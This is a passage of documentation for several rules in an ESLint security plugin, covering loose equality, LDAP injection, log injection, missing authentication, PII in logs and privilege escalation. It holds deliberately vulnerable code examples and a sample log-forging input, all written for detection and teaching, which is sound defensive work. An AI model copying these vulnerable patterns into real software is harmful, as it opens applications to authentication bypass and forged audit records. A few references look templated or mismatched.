occurs when using loose equality operators (`==` or `!=`) which perform type coercion before comparison. **Risk:** This can lead to logic bypasses where different values are treated as equal (e.g., `0 == "0"` or `[] == 0`). Attackers can often exploit this behavior to bypass authentication checks or authorization logic. ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text ⚠️ CWE-697 OWASP:A06 CVSS:5.3 | Incorrect Comparison detected | MEDIUM Fix: Review and apply the recommended fix | https://owasp.org/Top10/A06_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | **Risk Standards** | Security benchmarks | [CWE-697](https://cwe.mitre.org/data/definitions/697.html) [OWASP:A06](https://owasp.org/Top10/A06_2021-Injection/) [CVSS:5.3](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `Incorrect Comparison detected` | | **Severity & Compliance** | Impact assessment | `MEDIUM` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A06_2021-Injection/) | ## Rule Details [#rule-details] Insecure comparison operators (`==`, `!=`) use type coercion, which can lead to unexpected behavior and security vulnerabilities. This rule enforces strict equality (`===`, `!==`) which compares both value and type. ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | -------------------- | ---------------------------------- | -------------------------- | | 🔒 **Security** | Type coercion can bypass checks | Use strict equality (===) | | 🐛 **Bugs** | Unexpected type conversions | Compare type and value | | 🔐 **Reliability** | Hard-to-debug issues | Predictable comparisons | | 📊 **Best Practice** | Violates JavaScript best practices | Always use strict equality | ## Detection Patterns [#detection-patterns] The rule detects: * **Loose equality**: `==` operator * **Loose inequality**: `!=` operator ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```typescript // Insecure comparison with type coercion if (user.id == userId) { // ❌ Type coercion // Process user } // Insecure inequality if (value == undefined) { // ❌ Type coercion // Handle value } // Ternary with loose equality const result = a == b ? 1 : 0; // ❌ Type coercion ``` ### ✅ Correct [#-correct] ```typescript // Strict equality - no type coercion if (user.id === userId) { // ✅ Type and value match // Process user } // Strict inequality if (value !== null && value !== undefined) { // ✅ Explicit checks // Handle value } // Ternary with strict equality const result = a === b ? 1 : 0; // ✅ Type and value match ``` ## Configuration [#configuration] ### Default Configuration [#default-configuration] ```json { "secure-coding/no-insecure-comparison": "warn" } ``` ### Options [#options] | Option | Type | Default | Description | | ---------------- | ---------- | ------- | --------------------------------------- | | `allowInTests` | `boolean` | `false` | Allow insecure comparison in test files | | `ignorePatterns` | `string[]` | `[]` | Additional patterns to ignore | ### Example Configuration [#example-configuration] ```json { "secure-coding/no-insecure-comparison": [ "warn", { "allowInTests": true, "ignorePatterns": ["x == y"] } ] } ``` ## Best Practices [#best-practices] 1. **Always use strict equality** (`===`, `!==`) for all comparisons 2. **Nullish checks are exempt**: `value != null` matches `null` AND `undefined` in one comparison, which is exactly why it is written that way. This rule does not report it, and rewriting it to `!== null` silently drops the `undefined` case. Core `eqeqeq` exempts it for the same reason. 3. **Type safety**: Strict equality prevents accidental type coercion bugs 4. **Consistency**: Use strict equality throughout the codebase ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Values from Variables [#values-from-variables] **Why**: Values stored in variables are not traced. ```typescript // ❌ NOT DETECTED - Value from variable const value = userInput; dangerousOperation(value); ``` **Mitigation**: Validate all user inputs. ### Wrapper Functions [#wrapper-functions] **Why**: Custom wrappers not recognized. ```typescript // ❌ NOT DETECTED - Wrapper myWrapper(userInput); // Uses dangerous API internally ``` **Mitigation**: Apply rule to wrapper implementations. ### Dynamic Invocation [#dynamic-invocation] **Why**: Dynamic calls not analyzed. ```typescript // ❌ NOT DETECTED - Dynamic obj[method](userInput); ``` **Mitigation**: Avoid dynamic method invocation. ## Related Rules [#related-rules] * [`no-unvalidated-user-input`](./no-unvalidated-user-input.md) - Detects unvalidated user input * [`no-privilege-escalation`](./no-privilege-escalation.md) - Detects privilege escalation vulnerabilities ## Resources [#resources] * [CWE-697: Incorrect Comparison](https://cwe.mitre.org/data/definitions/697.html) * [MDN: Equality comparisons and sameness](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness) * [JavaScript Equality Table](https://dorey.github.io/JavaScript-Equality-Table/) ## Not a finding [#not-a-finding] This rule's subject is **type coercion**, and coercion needs two types. When both operands are provably the same type, `==` and `===` do the same thing and there is nothing to report: | Code | Why it is silent | | ---------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- | | `var role = 'user'; if (role != 'user')` | Both operands are provably strings. | | ``const r = `admin`; if (r == `admin`)`` | A template literal is a string by construction. | | `if (x == null)` | The idiomatic nullish check — it matches `null` *and* `undefined`, which is why it is written that way. Core `eqeqeq` exempts it for the same reason. | **If it fires**, at least one operand's type is not provable here: a parameter, a member expression, a name written more than once. A variable reassigned between its declaration and the comparison can hold anything by the time the comparison runs, so it stays a finding. # no-ldap-injection **CWE:** [CWE-74](https://cwe.mitre.org/data/definitions/74.html)\ **OWASP Mobile:** [OWASP Mobile Top 10](https://owasp.org/www-project-mobile-top-10/) Detects LDAP injection vulnerabilities. This rule is part of [`eslint-plugin-secure-coding`](https://www.npmjs.com/package/eslint-plugin-secure-coding). 💼 This rule is set to **error** in the `recommended` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ------------------------------------------------------------------------- | | **CWE Reference** | [CWE-90](https://cwe.mitre.org/data/definitions/90.html) (LDAP Injection) | | **Severity** | Critical (CVSS 9.8) | | **Auto-Fix** | 💡 Suggestions available | | **Category** | Security | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** LDAP Injection allows attackers to modify LDAP statements by supplying malicious input that is not properly sanitized or escaped. **Risk:** Attackers can alter LDAP queries to bypass authentication (e.g., logging in as any user), leak sensitive directory information (like emails, phone numbers, or passwords), or in some cases, modify user attributes. ## Rule Details [#rule-details] LDAP injection occurs when user input is improperly inserted into LDAP queries, allowing attackers to: * Bypass authentication and authorization * Extract sensitive directory information (users, groups, passwords) * Perform unauthorized LDAP operations * Enumerate users through blind injection techniques ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | ------------------ | ----------------------- | --------------------------- | | 🔓 **Auth Bypass** | Unauthorized access | Escape LDAP filter values | | 📤 **Data Theft** | Directory data exposure | Validate and sanitize input | | 👥 **Enumeration** | User discovery | Use parameterized queries | ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```typescript // String interpolation in LDAP filter const filter = `(uid=${username})`; ldapClient.search('ou=users,dc=example,dc=com', { filter }); // String concatenation const searchFilter = '(cn=' + userInput + ')'; // Template literal with untrusted input const ldapFilter = `(&(objectClass=user)(mail=${email}))`; ``` ### ✅ Correct [#-correct] ```typescript const filter = `(uid=${ldap.escape.filterValue(userId)})`; ``` ## Configuration [#configuration] ```javascript { rules: { 'secure-coding/no-ldap-injection': ['error', { ldapFunctions: ['search', 'bind', 'modify', 'add', 'delete'], ldapEscapeFunctions: ['escape.filterValue', 'escape.dnValue'], ldapValidationFunctions: ['validateLdapInput', 'sanitizeLdapFilter'] }] } } ``` ## Options [#options] | Option | Type | Default | Description | | ------------------------- | ---------- | ------------------------------------------------------------------------------- | -------------------------------------------------------- | | `ldapFunctions` | `string[]` | `["search","bind","modify","add","delete","compare","searchAsync"]` | LDAP client methods treated as query sinks | | `ldapEscapeFunctions` | `string[]` | `["escape.filterValue","escape.dnValue","filterEscape","dnEscape"]` | Function names that escape LDAP filter or DN values | | `ldapValidationFunctions` | `string[]` | `["validateLdapInput","sanitizeLdapFilter","cleanLdapValue","checkLdapFilter"]` | Function names that count as LDAP input validation | | `trustedSanitizers` | `string[]` | `[]` | Additional function names to consider as LDAP sanitizers | | `trustedAnnotations` | `string[]` | `[]` | Additional JSDoc annotations to consider as safe markers | | `strictMode` | `boolean` | `false` | Disable all false positive detection (strict mode) | ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-90 OWASP:A05 CVSS:9.8 | LDAP Injection detected | CRITICAL Fix: Review and apply the recommended fix | https://owasp.org/Top10/A05_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **Risk Standards** | Security benchmarks | [CWE-90](https://cwe.mitre.org/data/definitions/90.html) [OWASP:A05](https://owasp.org/Top10/A05_2021-Injection/) [CVSS:9.8](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `LDAP Injection detected` | | **Severity & Compliance** | Impact assessment | `CRITICAL` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A05_2021-Injection/) | ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Query from Variable [#query-from-variable] **Why**: Query strings from variables not traced. ```typescript // ❌ NOT DETECTED - Query from variable const query = `SELECT * FROM users WHERE id = ${userId}`; db.execute(query); ``` **Mitigation**: Always use parameterized queries. ### Custom Query Builders [#custom-query-builders] **Why**: Custom ORM/query builders not recognized. ```typescript // ❌ NOT DETECTED - Custom builder customQuery.where(userInput).execute(); ``` **Mitigation**: Review all query builder patterns. ### Template Engines [#template-engines] **Why**: Template-based queries not analyzed. ```typescript // ❌ NOT DETECTED - Template executeTemplate('query.sql', { userId }); ``` **Mitigation**: Validate all template variables. ## Further Reading [#further-reading] * **[OWASP LDAP Injection](https://owasp.org/www-community/attacks/LDAP_Injection)** - Attack documentation * **[CWE-90](https://cwe.mitre.org/data/definitions/90.html)** - Official CWE entry * **[ldapjs Security](https://ldapjs.org/filters.html)** - Safe LDAP filter construction ## Related Rules [#related-rules] * [`no-sql-injection`](./no-sql-injection.md) - SQL injection prevention * [`no-xpath-injection`](./no-xpath-injection.md) - XPath injection prevention # no-log-injection **CWE:** [CWE-117](https://cwe.mitre.org/data/definitions/117.html) **OWASP:** [A09:2021 Security Logging and Monitoring Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/) A log file is a record with line boundaries. When a request field reaches the message text unneutralized, a `\r\n` inside that value ends the record early and starts a new one that the attacker writes. This rule is part of [`eslint-plugin-secure-coding`](https://www.npmjs.com/package/eslint-plugin-secure-coding). ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ---------------------------------------------------------------------------------------------------- | | **CWE Reference** | [CWE-117](https://cwe.mitre.org/data/definitions/117.html) (Improper Output Neutralization for Logs) | | **Severity** | Medium (CVSS 5.3) | | **Auto-Fix** | ❌ No — the fix is a design choice (structured field vs. neutralization) | | **Category** | Security | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** A value the caller controls is concatenated into the *text* of a log line. The logger writes the text verbatim, so any CR/LF the value carries becomes a line boundary in the log. **Risk:** The attacker writes log records of their own choosing. That is not a cosmetic problem — the forged record is indistinguishable from a real one to every downstream consumer: SIEM correlation rules, the on-call engineer's `grep`, and the incident timeline that a breach investigation is reconstructed from. An attacker who can forge `[INFO] login ok for admin` can hide the request that actually happened. ```js logger.info('login attempt: ' + req.body.username); // username = "bob\n[INFO] login ok for admin" // // login attempt: bob // [INFO] login ok for admin ``` ## Rule Details [#rule-details] The rule reports one thing, and abstains from everything else. **Sink.** A call of the form `.(…)` where `` is a log level (`log`, `info`, `warn`, `error`, `debug`, `trace`, `fatal`, `verbose`, `silly`) and `` is a name that only a logger carries: `console`, `log`, `logger`, `winston`, `pino`, `bunyan` — either directly (`logger.info`) or as a property (`this.logger.info`, `fastify.log.info`, `req.log.info`). The level alone is worthless as evidence: `error`, `warn` and `trace` are method names on assertion libraries, span objects and event emitters. The receiver is what says "this string becomes a log record". **Message shape.** Only a `TemplateLiteral` or a `+` concatenation is a message. An object argument is a *field carrier*, not a line fragment — the logger JSON-encodes it, so a newline inside it cannot end the record. That is why structured logging is silent here. **Attribution.** The embedded expression must be traceable to an inbound request: a member expression rooted at `req` / `request` / `ctx` / `event` / `message` reading `body`, `query`, `params`, `headers`, `url`, `path`, `cookies` or `data` — reached directly, or through **one hop** of a local binding in the same function. Scope analysis resolves the hop; nothing is matched by name. **What makes it abstain.** Anything that is not *direct*. `sanitizeForLog(req.body.username)` wraps the value in a call, so the rule can no longer say what reaches the line, so it says nothing. This is not a special case for functions named "sanitize" — any call, any operator, any indirection has the same effect. The consequence is deliberate: a log line with no request provenance (`console.log('processed ' + count + ' items')`) can never be reported, which is the shape almost every log statement in a published library takes. **One report per logging call.** A template can interpolate four request fields; they are one defect with one fix, and four squiggles on one line would only make that fix harder to see. ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```js function onLoginAttempt(req) { logger.info('login attempt: ' + req.body.username); } function auditRequest(req) { const forwardedFor = req.headers['x-forwarded-for']; logger.info(`request user=${req.query.user} ip=${forwardedFor}`); } console.error(`bad path ${req.path}`); ``` ### ✅ Correct [#-correct] ```js // Structured logging: the message is constant, the value is an encoded field. function onLoginAttempt(req) { logger.info({ event: 'login_attempt', username: req.body.username }, 'login attempt'); } // Or neutralize the record separators before the value reaches the line. function sanitizeForLog(value) { return String(value).replace(/[\r\n\t]+/g, ' ').slice(0, 256); } function onLoginFailure(req) { logger.info('login attempt: ' + sanitizeForLog(req.body.username)); } ``` ## Configuration [#configuration] ```javascript { rules: { 'secure-coding/no-log-injection': ['error', { loggerNames: ['audit', 'tracer'], requestRoots: ['payload'] }] } } ``` ## Options [#options] | Option | Type | Default | Description | | -------------- | ---------- | ------- | -------------------------------------------------------------- | | `loggerNames` | `string[]` | `[]` | Additional receiver names whose level methods write a log line | | `requestRoots` | `string[]` | `[]` | Additional identifier roots that denote an inbound request | ## Error Message Format [#error-message-format] ``` 🔒 CWE-117 OWASP:A09-Logging CVSS:5.3 | Log message embeds req.body.username directly - a CR/LF in that value forges a log record | MEDIUM Fix: Log it as a structured field (logger.info({ value }, "message")) or strip CR/LF/control characters first | https://cwe.mitre.org/data/definitions/117.html ``` The finding names the field it attributed. If the rule cannot name one, it does not report. ## Known False Negatives [#known-false-negatives] These are the price of the attribution rule above, and they are paid on purpose. ### More than one hop [#more-than-one-hop] **Why**: Only a single local binding is followed. Two assignments away, the rule can no longer attribute the value. ```js const raw = req.body.username; const name = raw; logger.info('user: ' + name); // ❌ NOT DETECTED ``` **Mitigation**: Prefer structured fields for anything that came off a request, regardless of how many bindings ago. ### Values that crossed a function boundary [#values-that-crossed-a-function-boundary] **Why**: A parameter's provenance belongs to the caller, and this rule does not do interprocedural analysis. ```js function audit(username) { logger.info('user: ' + username); // ❌ NOT DETECTED } audit(req.body.username); ``` **Mitigation**: Neutralize at the boundary where the value enters the process. ### Values wrapped in a call that does not neutralize [#values-wrapped-in-a-call-that-does-not-neutralize] **Why**: Any call breaks attribution, including one that does nothing useful — `logger.info('user: ' + String(req.body.username))` is not reported. **Mitigation**: Do not rely on the absence of a finding as proof a value was neutralized; the rule reports what it can attribute, not everything that is unsafe. ## Further Reading [#further-reading] * **[CWE-117](https://cwe.mitre.org/data/definitions/117.html)** — Improper Output Neutralization for Logs * **[OWASP Log Injection](https://owasp.org/www-community/attacks/Log_Injection)** — attack documentation * **[OWASP Logging Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html)** — what to log and how ## Related Rules [#related-rules] * [`no-sensitive-data-exposure`](./no-sensitive-data-exposure.md) — keeps secrets out of logs (what is logged, rather than how) * [`no-unsafe-regex-construction`](./no-unsafe-regex-construction.md) — shares this rule's request-attribution model # no-missing-authentication ## Quick Summary [#quick-summary] | Aspect | Details | | -------------- | ---------------------------------------- | | **Severity** | Critical (Broken Authentication) | | **Auto-Fix** | ❌ No (requires adding middleware) | | **Category** | Security | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | All REST APIs and backend route handlers | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Missing authentication checks on sensitive API routes. This occurs when an endpoint that should be restricted is exposed to unauthenticated (anonymous) users. **Risk:** Attackers can access private data, perform actions on behalf of other users, or gain administrative control over the application. Broken authentication is one of the most common and impactful security vulnerabilities in modern web applications. ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-287 OWASP:M3 | Missing Authentication detected | CRITICAL [BrokenAuth] Fix: Add authentication middleware (e.g., authenticate()) to this route | https://cwe.mitre.org/data/definitions/287.html ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :------------------------------------------------------------------------------------------------------------------ | | **Risk Standards** | Security benchmarks | [CWE-287](https://cwe.mitre.org/data/definitions/287.html) [OWASP:M3](https://owasp.org/www-project-mobile-top-10/) | | **Issue Description** | Specific vulnerability | `Missing Authentication detected` | | **Severity & Compliance** | Impact assessment | `CRITICAL [BrokenAuth]` | | **Fix Instruction** | Actionable remediation | `Add authentication middleware` | | **Technical Truth** | Official reference | [Improper Authentication](https://cwe.mitre.org/data/definitions/287.html) | ## Rule Details [#rule-details] This rule scans route handlers in popular frameworks (Express, Fastify, etc.) and flags those that do not include a recognized authentication middleware in their middleware chain. ```mermaid %%{init: { 'theme': 'base', 'themeVariables': { 'primaryColor': '#f8fafc', 'primaryTextColor': '#1e293b', 'primaryBorderColor': '#334155', 'lineColor': '#475569', 'c0': '#f8fafc', 'c1': '#f1f5f9', 'c2': '#e2e8f0', 'c3': '#cbd5e1' } }}%% flowchart TD A["Route Method Call e.g. .get"] --> B{"Contains known auth middleware?"} B -->|Yes| C["✅ Protected Endpoint"] B -->|No| D["🚨 Missing Authentication"] D --> E["💡 Suggest passport/jwt/custom-auth wrap"] ``` ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | ----------------- | ------------------------------------ | ------------------------------------------------------------ | | 🕵️ **Exposure** | Private user data leaked | Enforce authentication on EVERY non-public route | | 🚀 **Takeover** | Account hijacking through API bypass | Use signed tokens (JWT) or sessions for all sensitive calls | | 🔒 **Compliance** | Failure to meet GDPR/SOC2 standards | Implement a "Deny by Default" strategy for all route folders | ## Configuration [#configuration] This rule supports extensive configuration to match your project's middleware naming conventions: ```javascript { "rules": { "secure-coding/no-missing-authentication": ["error", { "authMiddlewarePatterns": ["authenticate", "requireAuth", "passport.authenticate"], "routeHandlerPatterns": ["get", "post", "put", "delete"], "ignorePatterns": ["/api/public/*"] }] } } ``` ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```javascript // Express route without any authentication middleware app.get('/api/user/profile', (req, res) => { // ❌ VULNERABLE: Direct access to profile data res.json(req.user.profile); }); // Fastify route missing protection fastify.post('/api/settings', async (request, reply) => { // ❌ VULNERABLE: Anyone can change settings updateSettings(request.body); }); ``` ### ✅ Correct [#-correct] ```javascript // Using recognized authentication middleware (Express) app.get('/api/user/profile', authenticate(), (req, res) => { // ✅ SECURE res.json(req.user.profile); }); // Using Passport.js app.post( '/api/settings', passport.authenticate('jwt', { session: false }), (req, res) => { // ✅ SECURE updateSettings(req.body); }, ); ``` ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Global Middleware [#global-middleware] **Why**: If authentication is applied globally via `app.use(authMiddleware)`, this rule might still flag individual routes because it doesn't always see the global application setup. **Mitigation**: Use `// eslint-disable-next-line` on individual routes if global protection is active, or configure the rule to ignore specific files. ### Custom Logic Checks [#custom-logic-checks] **Why**: If you perform authentication *inside* the handler function body using imperative logic instead of middleware. ```javascript app.get('/data', (req, res) => { if (!req.user) return res.status(401).send(); // ❌ Rule may not see this ... }); ``` **Mitigation**: Always prefer middleware for authentication to ensure it runs before any business logic and is easily audited. ## References [#references] * [CWE-287: Improper Authentication](https://cwe.mitre.org/data/definitions/287.html) * [OWASP Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html) * [Express Guide - Using Middleware](https://expressjs.com/en/guide/using-middleware.html) ## ⚙️ Options [#️-options] | Option | Type | Default | Description | | ------------------------ | ---------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------- | | `allowInTests` | `boolean` | `false` | Allow missing authentication in test files | | `authMiddlewarePatterns` | `string[]` | `["authenticate","auth","requireAuth","isAuthenticated","verifyToken","checkAuth","ensureAuthenticated","passport.authenticate","jwt","session"]` | Authentication middleware patterns to recognize | | `routeHandlerPatterns` | `string[]` | `["get","post","put","delete","patch","all","use"]` | Route handler patterns to check | | `ignorePatterns` | `string[]` | `[]` | Additional patterns to ignore | | `testFilePattern` | `string` | `"\\.(test\|spec)\\.(ts\|tsx\|js\|jsx)$"` | Test file pattern regex string | # no-pii-in-logs Prevent personally identifiable information (PII) — emails, SSNs, credit cards, phone numbers — from reaching `console.*` or logger output. Logs are routinely shipped to third-party platforms (Datadog, Sentry, CloudWatch) and indexed by people who never had access authorization for that data. This rule is part of [`eslint-plugin-secure-coding`](https://www.npmjs.com/package/eslint-plugin-secure-coding). ## Quick Summary [#quick-summary] | Aspect | Details | | ------------ | ------------------------------------------------------------- | | **Severity** | High (Security / Compliance — GDPR Art. 32, HIPAA §164.312) | | **Auto-Fix** | 💡 Suggestions (redact, hash, or replace with stable user id) | | **Category** | Secure Coding | | **CWE** | [CWE-359](https://cwe.mitre.org/data/definitions/359.html) | | **Best For** | Any service that handles user data and ships logs off-host | ## Why this matters [#why-this-matters] Application logs are the highest-volume, lowest-trust egress channel in most production services. By default they are: * Shipped to vendors (Datadog, Sentry, Splunk, Loki, ELK) — broadening the trust boundary. * Retained for weeks to months — long enough that a breach years from now still discloses today's data. * Read by anyone with engineering oncall — not the access-controlled subset that touches the user record itself. GDPR Article 32 (security of processing) and HIPAA §164.312 (technical safeguards) both treat log-leaked PII as a reportable incident. Most breach disclosures in 2024–2025 traced the data exposure to a logger, not a database. ## What the rule detects [#what-the-rule-detects] The rule flags PII patterns whether they enter the log call as a literal, a templated string, or a member access on an `user`/`person`/`account` identifier: | Pattern | Detected as | | :--------------------------- | :---------------------------- | | Hard-coded email regex match | `email` | | `user.email`, `account.ssn` | inferred via identifier shape | | 16-digit number passing Luhn | `credit-card` | | ITU-formatted phone number | `phone` | | US SSN (`\d{3}-\d{2}-\d{4}`) | `ssn` | ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```js console.log('user signed in', user.email, user.phone); logger.info(`payment from ${customer.creditCard}`); console.error('lookup failed for SSN', record.ssn); // PII concealed in JSON.stringify still gets logged logger.debug(JSON.stringify(user)); ``` ### ✅ Correct [#-correct] ```js import { redactPii, hashStable } from '@/lib/pii'; console.log('user signed in', { userId: user.id }); logger.info('payment authorised', { customerId: hashStable(customer.id) }); console.error('lookup failed', { ssnHash: hashStable(record.ssn) }); // Or use a structured logger that redacts known PII fields by allowlist logger.debug({ user: redactPii(user) }); ``` ## Error Message Format [#error-message-format] ```text 🔒 SECURE-CODING CWE-359 | PII detected in log argument | HIGH Fix: Replace the PII payload with a stable opaque id (UUID, hash) or pass through a redacting logger before emission. ``` ## Known False Negatives [#known-false-negatives] * Custom logger wrappers (`logEvent`, `audit`, `track`) are detected via the `loggers` rule option allowlist; loggers not on the allowlist are skipped. * PII reached via aliasing (`const e = user.email; log(e);`) is tracked one assignment hop; deeper chains require type-aware enabling. * PII embedded inside an HTTP request body that incidentally surfaces in an error message (e.g. `JSON.stringify(req.body)` in a `catch` block) is not always reached without type info. # no-privilege-escalation **CWE:** [CWE-693](https://cwe.mitre.org/data/definitions/693.html)\ **OWASP Mobile:** [OWASP Mobile Top 10](https://owasp.org/www-project-mobile-top-10/) Detects potential privilege escalation vulnerabilities where user input is used to assign roles or permissions without proper validation. This rule is part of [`eslint-plugin-secure-coding`](https://www.npmjs.com/package/eslint-plugin-secure-coding) and provides LLM-optimized error messages that AI assistants can automatically fix. ⚠️ This rule ***warns*** by default in the `recommended` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ------------------------------------------------------------------------ | | **CWE Reference** | CWE-269 (Improper Privilege Management) | | **Severity** | High (security vulnerability) | | **Auto-Fix** | ❌ No (requires manual role check implementation) | | **Category** | Security | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | All applications with role-based access control, user management systems | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Privilege escalation (specifically vertical privilege escalation) occurs when an attacker can access resources or functions reserved for higher-privileged users (like admins) by manipulating inputs used in role assignment or authorization checks. **Risk:** Attackers can grant themselves administrative privileges, accessing unauthorized data, deleting critical resources, or taking full control of the application. ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-269 OWASP:A01 CVSS:8.8 | Improper Privilege Management detected | HIGH [SOC2,PCI-DSS,HIPAA,GDPR,ISO27001] Fix: Review and apply the recommended fix | https://owasp.org/Top10/A01_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | **Risk Standards** | Security benchmarks | [CWE-269](https://cwe.mitre.org/data/definitions/269.html) [OWASP:A01](https://owasp.org/Top10/A01_2021-Injection/) [CVSS:8.8](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `Improper Privilege Management detected` | | **Severity & Compliance** | Impact assessment | `HIGH [SOC2,PCI-DSS,HIPAA,GDPR,ISO27001]` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A01_2021-Injection/) | ## Rule Details [#rule-details] Privilege escalation occurs when user input is used to assign roles or permissions without proper authorization checks. This rule detects assignments and operations that modify user privileges using unvalidated user input. ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | -------------------------- | ----------------------------------- | ------------------------------------ | | 🔒 **Security** | Users can escalate their privileges | Add role validation checks | | 🐛 **Unauthorized Access** | Bypass access controls | Verify permissions before assignment | | 🔐 **Data Breach** | Access to sensitive data | Enforce role-based access | | 📊 **Compliance** | Violates security standards | Validate all privilege changes | ## Detection Patterns [#detection-patterns] The rule detects: * **Role assignments from user input**: `user.role = req.body.role` * **Permission assignments**: `user.permission = req.query.permission` * **Privilege operations with user input**: `grant(user, req.body.permission)`, `setRole(user, req.query.role)` * **Common privilege properties**: `role`, `permission`, `privilege`, `access`, `level` * **Common privilege operations**: `setRole`, `grant`, `revoke`, `elevate`, `promote`, `updateRole` ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```typescript // Role assignment from user input without validation app.put('/api/users/:id', (req, res) => { user.role = req.body.role; // ❌ No role check // User can set themselves as admin }); // Permission assignment from query params app.post('/api/permissions', (req, res) => { user.permission = req.query.permission; // ❌ No validation // User can grant themselves permissions }); // Privilege operation with user input app.post('/api/grant', (req, res) => { grant(user, req.body.permission); // ❌ No authorization check // User can grant themselves privileges }); ``` ### ✅ Correct [#-correct] ```typescript if (hasRole(user, "admin")) { user.role = req.body.role; } ``` ## Configuration [#configuration] ### Default Configuration [#default-configuration] ```json { "secure-coding/no-privilege-escalation": "warn" } ``` ### Options [#options] | Option | Type | Default | Description | | ------------------- | ---------- | --------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------- | | `allowInTests` | `boolean` | `false` | Allow privilege escalation patterns in test files | | `testFilePattern` | `string` | `"\\.(test\|spec)\\.(ts\|tsx\|js\|jsx)$"` | Test file pattern regex string | | `roleCheckPatterns` | `string[]` | `["hasRole","checkRole","isAdmin","isAuthorized","hasPermission","checkPermission","verifyRole","requireRole"]` | Role check patterns to recognize | | `userInputPatterns` | `string[]` | `[]` | Additional user input patterns to check (regex strings) | | `ignorePatterns` | `string[]` | `[]` | Additional patterns to ignore | ### Example Configuration [#example-configuration] ```json { "secure-coding/no-privilege-escalation": [ "error", { "allowInTests": true, "roleCheckPatterns": ["hasRole", "checkRole", "myCustomCheck"], "userInputPatterns": ["customInput"], "ignorePatterns": ["user.role"] } ] } ``` ## Best Practices [#best-practices] 1. **Always validate roles** before assigning privileges from user input 2. **Use role checks**: Implement `hasRole()`, `checkRole()`, or similar functions 3. **Principle of least privilege**: Only allow necessary privilege changes 4. **Audit logs**: Log all privilege changes for security auditing 5. **Separate concerns**: Keep role assignment logic separate from user input handling ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Values from Variables [#values-from-variables] **Why**: Values stored in variables are not traced. ```typescript // ❌ NOT DETECTED - Value from variable const value = userInput; dangerousOperation(value); ``` **Mitigation**: Validate all user inputs. ### Wrapper Functions [#wrapper-functions] **Why**: Custom wrappers not recognized. ```typescript // ❌ NOT DETECTED - Wrapper myWrapper(userInput); // Uses dangerous API internally ``` **Mitigation**: Apply rule to wrapper implementations. ### Dynamic Invocation [#dynamic-invocation] **Why**: Dynamic calls not analyzed. ```typescript // ❌ NOT DETECTED - Dynamic obj[method](userInput); ``` **Mitigation**: Avoid dynamic method invocation. ## Related Rules [#related-rules] * [`no-missing-authentication`](./no-missing-authentication.md) - Detects missing authentication checks * [`no-unvalidated-user-input`](./no-unvalidated-user-input.md) - Detects 